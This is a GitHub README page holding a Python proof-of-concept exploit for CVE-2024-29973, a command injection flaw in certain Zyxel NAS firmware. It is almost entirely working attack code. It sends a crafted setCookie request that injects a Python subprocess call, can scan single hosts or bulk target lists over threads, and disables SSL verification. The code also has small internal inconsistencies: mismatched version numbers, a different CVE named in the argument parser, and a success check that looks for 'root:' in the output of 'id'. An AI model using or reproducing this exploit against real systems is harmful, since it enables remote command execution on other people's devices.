README.md
Rendering markdown...
"""
POC for CVE-2024-29973: Command injection vulnerability in Zyxel NAS326 firmware versions before V5.21(AAZF.17)C0 and NAS542 firmware versions before V5.21(ABAG.14)
Full details can be found at https://outpost24.com/blog/zyxel-nas-critical-vulnerabilities/
POC Author: x.com/MohamedNab1l
GitHub: https://github.com/bigb0x/CVE-2024-29973
Usage:
single scan: cve-2024-29973.py -u target
bulk scan cve-2024-29973.py -f file.txt
Version 1.0.2
- Fixed the payload mechanism. Thanks https://github.com/p0et08/CVE-2024-29973
"""
import requests
import argparse
import threading
import queue
import os
from requests.exceptions import RequestException
import re
from datetime import datetime
import urllib3
# Disable SSL Warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
the_version = "1.0.1"
# ANSI color codes
light_gray_color = '\033[37;1m'
dimmed_gray_color = '\033[90m'
honey_yellow_color = "\033[38;5;214m"
dim_yellow_color = "\033[33;1m"
cyan_color = '\033[96m'
green_color = '\033[92m'
red_color = '\033[31m'
light_orange_color = '\033[38;5;214m'
reset_color = '\033[0m'
def banner():
print(f"""
{light_orange_color}
░█▀▀█ ░█──░█ ░█▀▀▀ ── █▀█ █▀▀█ █▀█ ─█▀█─ ── █▀█ ▄▀▀▄ ▄▀▀▄ ▀▀▀█ █▀▀█
░█─── ─░█░█─ ░█▀▀▀ ▀▀ ─▄▀ █▄▀█ ─▄▀ █▄▄█▄ ▀▀ ─▄▀ ▀▄▄█ ▀▄▄█ ──█─ ──▀▄
░█▄▄█ ──▀▄▀─ ░█▄▄▄ ── █▄▄ █▄▄█ █▄▄ ───█─ ── █▄▄ ─▄▄▀ ─▄▄▀ ─▐▌─ █▄▄█
-> POC CVE-2024-29973 vulnerability Command injection vulnerability in Zyxel firmware. POC version: {the_version}
{reset_color}
""")
# Log directory and file
LOG_DIR = 'logs'
LOG_FILE = os.path.join(LOG_DIR, 'scan.log')
# Function to create log directory
def create_log_dir():
if not os.path.exists(LOG_DIR):
os.makedirs(LOG_DIR)
print_message('info', f"Log directory created: {LOG_DIR}")
# Function to log messages
def log_message(message):
with open(LOG_FILE, 'a') as log_file:
log_file.write(f"{datetime.now().strftime('%Y-%m-%d %H:%M:%S')} - {message}\n")
# Function to print messages with ANSI colors
def print_message(level, message):
if level == 'vulnerable':
print(f"{cyan_color}[VLUN] {message}{reset_color}")
if level == 'info':
print(f"{dimmed_gray_color}[INFO] {message}{reset_color}")
elif level == 'success':
print(f"{green_color}[VLUN] {message}{reset_color}")
elif level == 'warning':
print(f"{honey_yellow_color}[WARNING] {message}{reset_color}")
elif level == 'error':
print(f"{red_color}[ERROR] {message}{reset_color}")
log_message(message)
# Define the payload
# a
paths_to_check = "/cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+"+"and+False+or+__import__(\"subprocess\").check_output(\"id\",+shell=True)%23"
def make_request(url):
try:
response = requests.get(url, verify=False) # Skip SSL verification for simplicity
if response.status_code == 200:
return response.text
else:
return None
except requests.RequestException as e:
return None
# Function to test a single host
def test_host(url):
try:
fullurl = f"{url}{paths_to_check}"
body = make_request(fullurl)
if body is not None and 'root:' in body:
print_message('vulnerable', f"Vulnerable: {url}")
print(body)
else:
print_message('warning', f"Not Vulnerable: {url}")
except requests.RequestException as e:
print_message('error', f"Timeout: {url}")
# Worker function for threading
def worker(queue):
while not queue.empty():
url = queue.get()
print_message('info', f"Testing {url}")
test_host(url)
queue.task_done()
# Main function
def main():
banner()
parser = argparse.ArgumentParser(description='Check for CVE-2024-34470 vulnerability.')
group = parser.add_mutually_exclusive_group(required=True)
group.add_argument('-u', '--url', help='Target URL (e.g., http://example.com)')
group.add_argument('-f', '--file', help='File containing list of URLs (one per line)')
args = parser.parse_args()
create_log_dir()
if args.url:
print_message('info', f"Testing single target: {args.url}")
test_host(args.url)
elif args.file:
with open(args.file, 'r') as f:
urls = [line.strip() for line in f if line.strip()]
print_message('info', f"Testing multiple targets from file: {args.file}")
url_queue = queue.Queue()
for url in urls:
url_queue.put(url)
threads = []
for _ in range(10):
t = threading.Thread(target=worker, args=(url_queue,))
t.start()
threads.append(t)
for t in threads:
t.join()
print_message('info', "Scanning complete.")
if __name__ == '__main__':
main()